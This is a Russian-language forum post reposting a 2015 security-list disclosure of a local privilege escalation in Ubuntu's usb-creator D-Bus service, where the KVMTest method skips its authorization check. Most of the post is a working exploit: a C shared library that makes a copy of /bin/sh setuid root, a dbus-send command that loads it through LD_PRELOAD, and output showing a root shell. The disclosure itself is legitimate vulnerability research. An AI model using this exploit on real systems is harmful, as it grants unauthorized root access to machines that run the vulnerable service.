1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Ubuntu usb-creator 0.2.x - Local Privilege Escalation

Тема в разделе "Наши статьи", создана пользователем Favertes, 28 апр 2015.

  1. TopicStarter Overlay
    Favertes

    Favertes

    Регистрация:
    14 апр 2015
    Сообщения:
    65
    Симпатии:
    27
    Код:
    Date: Wed, 22 Apr 2015 16:50:08 -0700
    From: Tavis Ormandy <taviso@...gle.com>
    To: oss-security@...ts.openwall.com
    Subject: USBCreator D-Bus service
    
    Hello,
    
    [as-per previous discussion on the vendors list, skipping closed
    discussion of low-severity issue]
    
    On my Ubuntu VM, I have a D-Bus service listening on
    com.ubuntu.USBCreator. As far as I can tell, this is installed by
    default.
    
    It looks like the author intended for all the methods to call
    check_polkit, but KVMTest doesn't.
    
    This seems like an obvious mistake, and the following appears to work
    on my machine:
    
    $ cat > test.c
    void __attribute__((constructor)) init (void)
    {
    chown("/tmp/test", 0, 0);
    chmod("/tmp/test", 04755);
    }
    ^D
    $ gcc -shared -fPIC -o /tmp/test.so test.c
    $ cp /bin/sh /tmp/test
    $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator
    /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda
    dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
    method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
    $ ls -l /tmp/test
    -rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
    $ /tmp/test
    # id
    euid=0(root) groups=0(root)
     
    • Like Like x 2
    Метки:

Поделиться этой страницей

Загрузка...